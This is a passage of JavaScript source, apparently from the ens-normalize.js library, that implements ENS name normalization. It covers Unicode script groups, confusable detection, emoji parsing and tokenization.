printed\r\n\tNFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations\r\n\r\n\tlet chunks = read_sorted_arrays(r);\r\n\tlet unrestricted = r();\r\n\t//const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array()));\r\n\tconst read_chunked = () => {\r\n\t\t// 20230921: build set in parts, 2x faster\r\n\t\tlet set = new Set();\r\n\t\tread_sorted_array().forEach(i => set_add_many(set, chunks[i]));\r\n\t\tset_add_many(set, read_sorted_array());\r\n\t\treturn set; \r\n\t};\r\n\tGROUPS = read_array_while(i => {\r\n\t\t// minifier property mangling seems unsafe\r\n\t\t// so these are manually renamed to single chars\r\n\t\tlet N = read_array_while(r).map(x => x+0x60);\r\n\t\tif (N.length) {\r\n\t\t\tlet R = i >= unrestricted; // unrestricted then restricted\r\n\t\t\tN[0] -= 32; // capitalize\r\n\t\t\tN = str_from_cps(N);\r\n\t\t\tif (R) N=`Restricted[${N}]`;\r\n\t\t\tlet P = read_chunked(); // primary\r\n\t\t\tlet Q = read_chunked(); // secondary\r\n\t\t\tlet M = !r(); // not-whitelisted, check for NSM\r\n\t\t\t// *** this code currently isn't needed ***\r\n\t\t\t/*\r\n\t\t\tlet V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid\r\n\t\t\tlet M = r()-1; // number of combining mark\r\n\t\t\tif (M < 0) { // whitelisted\r\n\t\t\t\tM = new Map(read_array_while(() => {\r\n\t\t\t\t\tlet i = r();\r\n\t\t\t\t\tif (i) return [V[i-1], read_array_while(() => {\r\n\t\t\t\t\t\tlet v = read_array_while(r);\r\n\t\t\t\t\t\tif (v.length) return v.map(x => x-1);\r\n\t\t\t\t\t})];\r\n\t\t\t\t}));\r\n\t\t\t}*/\r\n\t\t\treturn {N, P, Q, M, R};\r\n\t\t}\r\n\t});\r\n\r\n\t// decode compressed wholes\r\n\tWHOLE_VALID = read_sorted_set();\r\n\tWHOLE_MAP = new Map();\r\n\tlet wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted\r\n\twholes.forEach((cp, i) => {\r\n\t\tlet d = r(); \r\n\t\tlet w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()};\r\n\t\tw.V.push(cp); // add to member set\r\n\t\tif (!WHOLE_VALID.has(cp)) {\r\n\t\t\tWHOLE_MAP.set(cp, w); // register with whole map\r\n\t\t}\r\n\t});\r\n\r\n\t// compute confusable-extent complements\r\n\t// usage: WHOLE_MAP.get(cp).M.get(cp) = complement set\r\n\tfor (let {V, M} of new Set(WHOLE_MAP.values())) {\r\n\t\t// connect all groups that have each whole character\r\n\t\tlet recs = [];\r\n\t\tfor (let cp of V) {\r\n\t\t\tlet gs = GROUPS.filter(g => group_has_cp(g, cp));\r\n\t\t\tlet rec = recs.find(({G}) => gs.some(g => G.has(g)));\r\n\t\t\tif (!rec) {\r\n\t\t\t\trec = {G: new Set(), V: []};\r\n\t\t\t\trecs.push(rec);\r\n\t\t\t}\r\n\t\t\trec.V.push(cp);\r\n\t\t\tset_add_many(rec.G, gs);\r\n\t\t}\r\n\t\t// per character cache groups which are not a member of the extent\r\n\t\tlet union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole\r\n\t\tfor (let {G, V} of recs) {\r\n\t\t\tlet complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent\r\n\t\t\tfor (let cp of V) {\r\n\t\t\t\tM.set(cp, complement); // this is the same reference\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t// compute valid set\r\n\t// 20230924: VALID was union but can be re-used\r\n\tVALID = new Set(); // exists in 1+ groups\r\n\tlet multi = new Set(); // exists in 2+ groups\r\n\tconst add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp);\r\n\tfor (let g of GROUPS) {\r\n\t\tfor (let cp of g.P) add_to_union(cp);\r\n\t\tfor (let cp of g.Q) add_to_union(cp);\r\n\t}\r\n\t// dual purpose WHOLE_MAP: return placeholder if unique non-confusable\r\n\tfor (let cp of VALID) {\r\n\t\tif (!WHOLE_MAP.has(cp) && !multi.has(cp)) {\r\n\t\t\tWHOLE_MAP.set(cp, UNIQUE_PH);\r\n\t\t}\r\n\t}\r\n\t// add all decomposed parts\r\n\t// see derive: \"Valid is Closed (via Brute-force)\"\r\n\tset_add_many(VALID, nfd(VALID));\r\n\t\r\n\t// decode emoji\r\n\t// 20230719: emoji are now fully-expanded to avoid quirk logic \r\n\tEMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays);\r\n\tEMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji)\r\n\tfor (let cps of EMOJI_LIST) {\r\n\t\t// 20230719: change to *slightly* stricter algorithm which disallows \r\n\t\t// insertion of misplaced FE0F in emoji sequences (matching ENSIP-15)\r\n\t\t// example: beautified [A B] (eg. flag emoji) \r\n\t\t// before: allow: [A FE0F B], error: [A FE0F FE0F B] \r\n\t\t// after: error: both\r\n\t\t// note: this code now matches ENSNormalize.{cs,java} logic\r\n\t\tlet prev = [EMOJI_ROOT];\r\n\t\tfor (let cp of cps) {\r\n\t\t\tlet next = prev.map(node => {\r\n\t\t\t\tlet child = node.get(cp);\r\n\t\t\t\tif (!child) {\r\n\t\t\t\t\t// should this be object? \r\n\t\t\t\t\t// (most have 1-2 items, few have many)\r\n\t\t\t\t\t// 20230719: no, v8 default map is 4?\r\n\t\t\t\t\tchild = new Map();\r\n\t\t\t\t\tnode.set(cp, child);\r\n\t\t\t\t}\r\n\t\t\t\treturn child;\r\n\t\t\t});\r\n\t\t\tif (cp === FE0F) {\r\n\t\t\t\tprev.push(...next); // less than 20 elements\r\n\t\t\t} else {\r\n\t\t\t\tprev = next;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (let x of prev) {\r\n\t\t\tx.V = cps;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// if escaped: {HEX}\r\n// else: \"x\" {HEX}\r\nfunction quoted_cp(cp) {\r\n\treturn (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp);\r\n}\r\n\r\n// 20230211: some messages can be mixed-directional and result in spillover\r\n// use 200E after a quoted string to force the remainder of a string from \r\n// acquring the direction of the quote\r\n// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions\r\nfunction bidi_qq(s) {\r\n\treturn `\"${s}\"\\u200E`; // strong LTR\r\n}\r\n\r\nfunction check_label_extension(cps) {\r\n\tif (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) {\r\n\t\tthrow new Error(`invalid label extension: \"${str_from_cps(cps.slice(0, 4))}\"`); // this can only be ascii so cant be bidi\r\n\t}\r\n}\r\nfunction check_leading_underscore(cps) {\r\n\tconst UNDERSCORE = 0x5F;\r\n\tfor (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) {\r\n\t\tif (cps[--i] !== UNDERSCORE) {\r\n\t\t\tthrow new Error('underscore allowed only at start');\r\n\t\t}\r\n\t}\r\n}\r\n// check that a fenced cp is not leading, trailing, or touching another fenced cp\r\nfunction check_fenced(cps) {\r\n\tlet cp = cps[0];\r\n\tlet prev = FENCED.get(cp);\r\n\tif (prev) throw error_placement(`leading ${prev}`);\r\n\tlet n = cps.length;\r\n\tlet last = -1; // prevents trailing from throwing\r\n\tfor (let i = 1; i < n; i++) {\r\n\t\tcp = cps[i];\r\n\t\tlet match = FENCED.get(cp);\r\n\t\tif (match) {\r\n\t\t\t// since cps[0] isn't fenced, cps[1] cannot throw\r\n\t\t\tif (last == i) throw error_placement(`${prev} + ${match}`);\r\n\t\t\tlast = i + 1;\r\n\t\t\tprev = match;\r\n\t\t}\r\n\t}\r\n\tif (last == n) throw error_placement(`trailing ${prev}`);\r\n}\r\n\r\n// create a safe to print string \r\n// invisibles are escaped\r\n// leading cm uses placeholder\r\n// if cps exceed max, middle truncate with ellipsis\r\n// quoter(cp) => string, eg. 3000 => \"{3000}\"\r\n// note: in html, you'd call this function then replace [<>&] with entities\r\nfunction safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) {\r\n\t//if (Number.isInteger(cps)) cps = [cps];\r\n\t//if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`);\r\n\tlet buf = [];\r\n\tif (is_combining_mark(cps[0])) buf.push('◌');\r\n\tif (cps.length > max) {\r\n\t\tmax >>= 1;\r\n\t\tcps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)];\r\n\t}\r\n\tlet prev = 0;\r\n\tlet n = cps.length;\r\n\tfor (let i = 0; i < n; i++) {\r\n\t\tlet cp = cps[i];\r\n\t\tif (should_escape(cp)) {\r\n\t\t\tbuf.push(str_from_cps(cps.slice(prev, i)));\r\n\t\t\tbuf.push(quoter(cp));\r\n\t\t\tprev = i + 1;\r\n\t\t}\r\n\t}\r\n\tbuf.push(str_from_cps(cps.slice(prev, n)));\r\n\treturn buf.join('');\r\n}\r\n\r\n// note: set(s) cannot be exposed because they can be modified\r\n// note: Object.freeze() doesn't work\r\nfunction is_combining_mark(cp) {\r\n\tinit();\r\n\treturn CM.has(cp);\r\n}\r\nfunction should_escape(cp) {\r\n\tinit();\r\n\treturn ESCAPE.has(cp);\r\n}\r\n\r\n// return all supported emoji as fully-qualified emoji \r\n// ordered by length then lexicographic \r\nfunction ens_emoji() {\r\n\tinit();\r\n\treturn EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy\r\n}\r\n\r\nfunction ens_normalize_fragment(frag, decompose) {\r\n\tinit();\r\n\tlet nf = decompose ? nfd : nfc;\r\n\treturn frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH);\r\n}\r\n\r\nfunction ens_normalize(name) {\r\n\treturn flatten(split(name, nfc, filter_fe0f));\r\n}\r\n\r\nfunction ens_beautify(name) {\r\n\tlet labels = split(name, nfc, x => x); // emoji not exposed\r\n\tfor (let {type, output, error} of labels) {\r\n\t\tif (error) break; // flatten will throw\r\n\r\n\t\t// replace leading/trailing hyphen\r\n\t\t// 20230121: consider beautifing all or leading/trailing hyphen to unicode variant\r\n\t\t// not exactly the same in every font, but very similar: \"-\" vs \"‐\"\r\n\t\t/*\r\n\t\tconst UNICODE_HYPHEN = 0x2010;\r\n\t\t// maybe this should replace all for visual consistancy?\r\n\t\t// `node tools/reg-count.js regex ^-\\{2,\\}` => 592\r\n\t\t//for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010;\r\n\t\tif (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN;\r\n\t\tlet end = output.length-1;\r\n\t\tif (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN;\r\n\t\t*/\r\n\t\t// 20230123: WHATWG URL uses \"CheckHyphens\" false\r\n\t\t// https://url.spec.whatwg.org/#idna\r\n\r\n\t\t// update ethereum symbol\r\n\t\t// ξ => Ξ if not greek\r\n\t\tif (type !== 'Greek') array_replace(output, 0x3BE, 0x39E);\r\n\r\n\t\t// 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed)\r\n\t\t// could be fixed with special case for: 2D (.) + 200E (LTR)\r\n\t\t// https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824\r\n\t\t//output.splice(0, 0, 0x200E);\r\n\t}\r\n\treturn flatten(labels);\r\n}\r\n\r\nfunction array_replace(v, a, b) {\r\n\tlet prev = 0;\r\n\twhile (true) {\r\n\t\tlet next = v.indexOf(a, prev);\r\n\t\tif (next < 0) break;\r\n\t\tv[next] = b; \r\n\t\tprev = next + 1;\r\n\t}\r\n}\r\n\r\nfunction ens_split(name, preserve_emoji) {\r\n\treturn split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy\r\n}\r\n\r\nfunction split(name, nf, ef) {\r\n\tif (!name) return []; // 20230719: empty name allowance\r\n\tinit();\r\n\tlet offset = 0;\r\n\t// https://unicode.org/reports/tr46/#Validity_Criteria\r\n\t// 4.) \"The label must not contain a U+002E ( . ) FULL STOP.\"\r\n\treturn name.split(STOP_CH).map(label => {\r\n\t\tlet input = explode_cp(label);\r\n\t\tlet info = {\r\n\t\t\tinput,\r\n\t\t\toffset, // codepoint, not substring!\r\n\t\t};\r\n\t\toffset += input.length + 1; // + stop\r\n\t\ttry {\r\n\t\t\t// 1.) \"The label must be in Unicode Normalization Form NFC\"\r\n\t\t\tlet tokens = info.tokens = tokens_from_str(input, nf, ef);\r\n\t\t\tlet token_count = tokens.length;\r\n\t\t\tlet type;\r\n\t\t\tif (!token_count) { // the label was effectively empty (could of had ignored characters)\r\n\t\t\t\t//norm = [];\r\n\t\t\t\t//type = 'None'; // use this instead of next match, \"ASCII\"\r\n\t\t\t\t// 20230120: change to strict\r\n\t\t\t\t// https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59\r\n\t\t\t\tthrow new Error(`empty label`);\r\n\t\t\t} \r\n\t\t\tlet norm = info.output = tokens.flat();\r\n\t\t\tcheck_leading_underscore(norm);\r\n\t\t\tlet emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji);\r\n\t\t\tif (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii\r\n\t\t\t\t// 20230123: matches matches WHATWG, see note 3.3\r\n\t\t\t\tcheck_label_extension(norm); // only needed for ascii\r\n\t\t\t\t// cant have fenced\r\n\t\t\t\t// cant have cm\r\n\t\t\t\t// cant have wholes\r\n\t\t\t\t// see derive: \"Fastpath ASCII\"\r\n\t\t\t\ttype = 'ASCII';\r\n\t\t\t} else {\r\n\t\t\t\tlet chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together\r\n\t\t\t\tif (!chars.length) { // theres no text, just emoji\r\n\t\t\t\t\ttype = 'Emoji';\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// 5.) \"The label must not begin with a combining mark, that is: General_Category=Mark.\"\r\n\t\t\t\t\tif (CM.has(norm[0])) throw error_placement('leading combining mark');\r\n\t\t\t\t\tfor (let i = 1; i < token_count; i++) { // we've already checked the first token\r\n\t\t\t\t\t\tlet cps = tokens[i];\r\n\t\t\t\t\t\tif (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt...\r\n\t\t\t\t\t\t\t// bidi_qq() not needed since emoji is LTR and cps is a CM\r\n\t\t\t\t\t\t\tthrow error_placement(`emoji + combining mark: \"${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}\"`); \r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcheck_fenced(norm);\r\n\t\t\t\t\tlet unique = Array_from(new Set(chars));\r\n\t\t\t\t\tlet [g] = determine_group(unique); // take the first match\r\n\t\t\t\t\t// see derive: \"Matching Groups have Same CM Style\"\r\n\t\t\t\t\t// alternative: could form a hybrid type: Latin/Japanese/...\t\r\n\t\t\t\t\tcheck_group(g, chars); // need text in order\r\n\t\t\t\t\tcheck_whole(g, unique); // only need unique text (order would be required for multiple-char confusables)\r\n\t\t\t\t\ttype = g.N;\r\n\t\t\t\t\t// 20230121: consider exposing restricted flag\r\n\t\t\t\t\t// it's simpler to just check for 'Restricted'\r\n\t\t\t\t\t// or even better: type.endsWith(']')\r\n\t\t\t\t\t//if (g.R) info.restricted = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tinfo.type = type;\r\n\t\t} catch (err) {\r\n\t\t\tinfo.error = err; // use full error object\r\n\t\t}\r\n\t\treturn info;\r\n\t});\r\n}\r\n\r\nfunction check_whole(group, unique) {\r\n\tlet maker;\r\n\tlet shared = [];\r\n\tfor (let cp of unique) {\r\n\t\tlet whole = WHOLE_MAP.get(cp);\r\n\t\tif (whole === UNIQUE_PH) return; // unique, non-confusable\r\n\t\tif (whole) {\r\n\t\t\tlet set = whole.M.get(cp); // groups which have a character that look-like this character\r\n\t\t\tmaker = maker ? maker.filter(g => set.has(g)) : Array_from(set);\r\n\t\t\tif (!maker.length) return; // confusable intersection is empty\r\n\t\t} else {\r\n\t\t\tshared.push(cp); \r\n\t\t}\r\n\t}\r\n\tif (maker) {\r\n\t\t// we have 1+ confusable\r\n\t\t// check if any of the remaining groups\r\n\t\t// contain the shared characters too\r\n\t\tfor (let g of maker) {\r\n\t\t\tif (shared.every(cp => group_has_cp(g, cp))) {\r\n\t\t\t\tthrow new Error(`whole-script confusable: ${group.N}/${g.N}`);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// assumption: unique.size > 0\r\n// returns list of matching groups\r\nfunction determine_group(unique) {\r\n\tlet groups = GROUPS;\r\n\tfor (let cp of unique) {\r\n\t\t// note: we need to dodge CM that are whitelisted\r\n\t\t// but that code isn't currently necessary\r\n\t\tlet gs = groups.filter(g => group_has_cp(g, cp));\r\n\t\tif (!gs.length) {\r\n\t\t\tif (!GROUPS.some(g => group_has_cp(g, cp))) { \r\n\t\t\t\t// the character was composed of valid parts\r\n\t\t\t\t// but it's NFC form is invalid\r\n\t\t\t\t// 20230716: change to more exact statement, see: ENSNormalize.{cs,java}\r\n\t\t\t\t// note: this doesn't have to be a composition\r\n\t\t\t\t// 20230720: change to full check\r\n\t\t\t\tthrow error_disallowed(cp); // this should be rare\r\n\t\t\t} else {\r\n\t\t\t\t// there is no group that contains all these characters\r\n\t\t\t\t// throw using the highest priority group that matched\r\n\t\t\t\t// https://www.unicode.org/reports/tr39/#mixed_script_confusables\r\n\t\t\t\tthrow error_group_member(groups[0], cp);\r\n\t\t\t}\r\n\t\t}\r\n\t\tgroups = gs;\r\n\t\tif (gs.length == 1) break; // there is only one group left\r\n\t}\r\n\t// there are at least 1 group(s) with all of these characters\r\n\treturn groups;\r\n}\r\n\r\n// throw on first error\r\nfunction flatten(split) {\r\n\treturn split.map(({input, error, output}) => {\r\n\t\tif (error) {\r\n\t\t\t// don't print label again if just a single label\r\n\t\t\tlet msg = error.message;\r\n\t\t\t// bidi_qq() only necessary if msg is digits\r\n\t\t\tthrow new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); \r\n\t\t}\r\n\t\treturn str_from_cps(output);\r\n\t}).join(STOP_CH);\r\n}\r\n\r\nfunction error_disallowed(cp) {\r\n\t// TODO: add cp to error?\r\n\treturn new Error(`disallowed character: ${quoted_cp(cp)}`); \r\n}\r\nfunction error_group_member(g, cp) {\r\n\tlet quoted = quoted_cp(cp);\r\n\tlet gg = GROUPS.find(g => g.P.has(cp)); // only check primary\r\n\tif (gg) {\r\n\t\tquoted = `${gg.N} ${quoted}`;\r\n\t}\r\n\treturn new Error(`illegal mixture: ${g.N} + ${quoted}`);\r\n}\r\nfunction error_placement(where) {\r\n\treturn new Error(`illegal placement: ${where}`);\r\n}\r\n\r\n// assumption: cps.length > 0\r\n// assumption: cps[0] isn't a CM\r\n// assumption: the previous character isn't an emoji\r\nfunction check_group(g, cps) {\r\n\tfor (let cp of cps) {\r\n\t\tif (!group_has_cp(g, cp)) {\r\n\t\t\t// for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. \"e{300}{300}\"\r\n\t\t\t// at the moment, it's unnecessary to introduce an extra error type\r\n\t\t\t// until there exists a whitelisted multi-character\r\n\t\t\t// eg. if (M < 0 && is_combining_mark(cp)) { ... }\r\n\t\t\t// there are 3 cases:\r\n\t\t\t// 1. illegal cm for wrong group => mixture error\r\n\t\t\t// 2. illegal cm for same group => cm error\r\n\t\t\t// requires set of whitelist cm per group: \r\n\t\t\t// eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp)))\r\n\t\t\t// 3. wrong group => mixture error\r\n\t\t\tthrow error_group_member(g, cp);\r\n\t\t}\r\n\t}\r\n\t//if (M >= 0) { // we have a known fixed cm count\r\n\tif (g.M) { // we need to check for NSM\r\n\t\tlet decomposed = nfd(cps);\r\n\t\tfor (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption\r\n\t\t\t// 20230210: bugfix: using cps instead of decomposed h/t Carbon225\r\n\t\t\t/*\r\n\t\t\tif (CM.has(decomposed[i])) {\r\n\t\t\t\tlet j = i + 1;\r\n\t\t\t\twhile (j < e && CM.has(decomposed[j])) j++;\r\n\t\t\t\tif (j - i > M) {\r\n\t\t\t\t\tthrow new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`);\r\n\t\t\t\t}\r\n\t\t\t\ti = j;\r\n\t\t\t}\r\n\t\t\t*/\r\n\t\t\t// 20230217: switch to NSM counting\r\n\t\t\t// https://www.unicode.org/reports/tr39/#Optional_Detection\r\n\t\t\tif (NSM.has(decomposed[i])) {\r\n\t\t\t\tlet j = i + 1;\r\n\t\t\t\tfor (let cp; j < e && NSM.has(cp = decomposed[j]); j++) {\r\n\t\t\t\t\t// a. Forbid sequences of the same nonspacing mark.\r\n\t\t\t\t\tfor (let k = i; k < j; k++) { // O(n^2) but n < 100\r\n\t\t\t\t\t\tif (decomposed[k] == cp) {\r\n\t\t\t\t\t\t\tthrow new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t// parse to end so we have full nsm count\r\n\t\t\t\t// b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me).\r\n\t\t\t\tif (j - i > NSM_MAX) {\r\n\t\t\t\t\t// note: this slice starts with a base char or spacing-mark cm\r\n\t\t\t\t\tthrow new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`);\r\n\t\t\t\t}\r\n\t\t\t\ti = j;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t// *** this code currently isn't needed ***\r\n\t/*\r\n\tlet cm_whitelist = M instanceof Map;\r\n\tfor (let i = 0, e = cps.length; i < e; ) {\r\n\t\tlet cp = cps[i++];\r\n\t\tlet seqs = cm_whitelist && M.get(cp);\r\n\t\tif (seqs) { \r\n\t\t\t// list of codepoints that can follow\r\n\t\t\t// if this exists, this will always be 1+\r\n\t\t\tlet j = i;\r\n\t\t\twhile (j < e && CM.has(cps[j])) j++;\r\n\t\t\tlet cms = cps.slice(i, j);\r\n\t\t\tlet match = seqs.find(seq => !compare_arrays(seq, cms));\r\n\t\t\tif (!match) throw new Error(`disallowed combining mark sequence: \"${safe_str_from_cps([cp, ...cms])}\"`);\r\n\t\t\ti = j;\r\n\t\t} else if (!V.has(cp)) {\r\n\t\t\t// https://www.unicode.org/reports/tr39/#mixed_script_confusables\r\n\t\t\tlet quoted = quoted_cp(cp);\r\n\t\t\tfor (let cp of cps) {\r\n\t\t\t\tlet u = UNIQUE.get(cp);\r\n\t\t\t\tif (u && u !== g) {\r\n\t\t\t\t\t// if both scripts are restricted this error is confusing\r\n\t\t\t\t\t// because we don't differentiate RestrictedA from RestrictedB \r\n\t\t\t\t\tif (!u.R) quoted = `${quoted} is ${u.N}`;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tthrow new Error(`disallowed ${g.N} character: ${quoted}`);\r\n\t\t\t//throw new Error(`disallowed character: ${quoted} (expected ${g.N})`);\r\n\t\t\t//throw new Error(`${g.N} does not allow: ${quoted}`);\r\n\t\t}\r\n\t}\r\n\tif (!cm_whitelist) {\r\n\t\tlet decomposed = nfd(cps);\r\n\t\tfor (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading\r\n\t\t\tif (CM.has(decomposed[i])) {\r\n\t\t\t\tlet j = i + 1;\r\n\t\t\t\twhile (j < e && CM.has(decomposed[j])) j++;\r\n\t\t\t\tif (j - i > M) {\r\n\t\t\t\t\tthrow new Error(`too many combining marks: \"${str_from_cps(decomposed.slice(i-1, j))}\" (${j-i}/${M})`);\r\n\t\t\t\t}\r\n\t\t\t\ti = j;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t*/\r\n}\r\n\r\n// given a list of codepoints\r\n// returns a list of lists, where emoji are a fully-qualified (as Array subclass)\r\n// eg. explode_cp(\"abc💩d\") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]]\r\n// 20230818: rename for 'process' name collision h/t Javarome\r\n// https://github.com/adraffy/ens-normalize.js/issues/23\r\nfunction tokens_from_str(input, nf, ef) {\r\n\tlet ret = [];\r\n\tlet chars = [];\r\n\tinput = input.slice().reverse(); // flip so we can pop\r\n\twhile (input.length) {\r\n\t\tlet emoji = consume_emoji_reversed(input);\r\n\t\tif (emoji) {\r\n\t\t\tif (chars.length) {\r\n\t\t\t\tret.push(nf(chars));\r\n\t\t\t\tchars = [];\r\n\t\t\t}\r\n\t\t\tret.push(ef(emoji));\r\n\t\t} else {\r\n\t\t\tlet cp = input.pop();\r\n\t\t\tif (VALID.has(cp)) {\r\n\t\t\t\tchars.push(cp);\r\n\t\t\t} else {\r\n\t\t\t\tlet cps = MAPPED.get(cp);\r\n\t\t\t\tif (cps) {\r\n\t\t\t\t\tchars.push(...cps); // less than 10 elements\r\n\t\t\t\t} else if (!IGNORED.has(cp)) {\r\n\t\t\t\t\t// 20230912: unicode 15.1 changed the order of processing such that\r\n\t\t\t\t\t// disallowed parts are only rejected after NFC\r\n\t\t\t\t\t// https://unicode.org/reports/tr46/#Validity_Criteria\r\n\t\t\t\t\t// this doesn't impact normalization as of today\r\n\t\t\t\t\t// technically, this error can be removed as the group logic will apply similar logic\r\n\t\t\t\t\t// however the error type might be less clear\r\n\t\t\t\t\tthrow error_disallowed(cp);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (chars.length) {\r\n\t\tret.push(nf(chars));\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nfunction filter_fe0f(cps) {\r\n\treturn cps.filter(cp => cp != FE0F);\r\n}\r\n\r\n// given array of codepoints\r\n// returns the longest valid emoji sequence (or undefined if no match)\r\n// *MUTATES* the supplied array\r\n// disallows interleaved ignored characters\r\n// fills (optional) eaten array with matched codepoints\r\nfunction consume_emoji_reversed(cps, eaten) {\r\n\tlet node = EMOJI_ROOT;\r\n\tlet emoji;\r\n\tlet pos = cps.length;\r\n\twhile (pos) {\r\n\t\tnode = node.get(cps[--pos]);\r\n\t\tif (!node) break;\r\n\t\tlet {V} = node;\r\n\t\tif (V) { // this is a valid emoji (so far)\r\n\t\t\temoji = V;\r\n\t\t\tif (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize()\r\n\t\t\tcps.length = pos; // truncate\r\n\t\t}\r\n\t}\r\n\treturn emoji;\r\n}\r\n\r\n// ************************************************************\r\n// tokenizer \r\n\r\nconst TY_VALID = 'valid';\r\nconst TY_MAPPED = 'mapped';\r\nconst TY_IGNORED = 'ignored';\r\nconst TY_DISALLOWED = 'disallowed';\r\nconst TY_EMOJI = 'emoji';\r\nconst TY_NFC = 'nfc';\r\nconst TY_STOP = 'stop';\r\n\r\nfunction ens_tokenize(name, {\r\n\tnf = true, // collapse unnormalized runs into a single token\r\n} = {}) {\r\n\tinit();\r\n\tlet input = explode_cp(name).reverse();\r\n\tlet eaten = [];\r\n\tlet tokens = [];\r\n\twhile (input.length) {\r\n\t\tlet emoji = consume_emoji_reversed(input, eaten);\r\n\t\tif (emoji) {\r\n\t\t\ttokens.push({\r\n\t\t\t\ttype: TY_EMOJI,\r\n\t\t\t\temoji: emoji.slice(), // copy emoji\r\n\t\t\t\tinput: eaten,\r\n\t\t\t\tcps: filter_fe0f(emoji)\r\n\t\t\t});\r\n\t\t\teaten = []; // reset buffer\r\n\t\t} else {\r\n\t\t\tlet cp = input.pop();\r\n\t\t\tif (cp == STOP) {\r\n\t\t\t\ttokens.push({type: TY_STOP, cp});\r\n\t\t\t} else if (VALID.has(cp)) {\r\n\t\t\t\ttokens.push({type: TY_VALID, cps: [cp]});\r\n\t\t\t} else if (IGNORED.has(cp)) {\r\n\t\t\t\ttokens.push({type: TY_IGNORED, cp});\r\n\t\t\t} else {\r\n\t\t\t\tlet cps = MAPPED.get(cp);\r\n\t\t\t\tif (cps) {\r\n\t\t\t\t\ttokens.push({type: TY_MAPPED, cp, cps: cps.slice()});\r\n\t\t\t\t} else {\r\n\t\t\t\t\ttokens.push({type: TY_DISALLOWED, cp});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (nf) {\r\n\t\tfor (let i = 0, start = -1; i < tokens.length; i++) {\r\n\t\t\tlet token = tokens[i];\r\n\t\t\tif (is_valid_or_mapped(token.type)) {\r\n\t\t\t\tif (requires_check(token.cps)) { // normalization might be needed\r\n\t\t\t\t\tlet end = i + 1;\r\n\t\t\t\t\tfor (let pos = end; pos < tokens.length; pos++) { // find adjacent text\r\n\t\t\t\t\t\tlet {type, cps} = tokens[pos];\r\n\t\t\t\t\t\tif (is_valid_or_mapped(type)) {\r\n\t\t\t\t\t\t\tif (!requires_check(cps)) break;\r\n\t\t\t\t\t\t\tend = pos + 1;\r\n\t\t\t\t\t\t} else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { \r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (start < 0) start = i;\r\n\t\t\t\t\tlet slice = tokens.slice(start, end);\r\n\t\t\t\t\tlet cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens\r\n\t\t\t\t\tlet cps = nfc(cps0);\r\n\t\t\t\t\tif (compare_arrays(cps, cps0)) { // 